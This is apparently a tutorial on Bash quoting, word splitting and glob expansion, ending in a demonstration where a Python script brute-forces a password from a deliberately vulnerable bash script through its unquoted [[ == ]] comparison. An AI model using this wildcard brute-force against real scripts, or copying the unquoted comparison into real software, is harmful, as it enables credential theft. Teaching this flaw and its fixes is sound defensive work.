In Bash scripting, when you are working with variables, it's important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable's value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, "explode" as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

  • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
  • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

  • Good: "$my_var"
  • Bad: $my_var

Command substitution:

  • Good: "$(cmd)"
  • Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

  • Correct: "`cmd`"
  • Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (" "), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don't quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable's value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers "$str1" & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare "$str1" and str2

3. On the other if I use quotes in the 2 variables "$str1" and "$str2"

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

  • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
  • assignments: a=$b
  • the magical case command: case $var in … esac
  • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

  • python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

  • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
  • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
  • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
  • If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page-----933488bfbfff--------------------------------

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette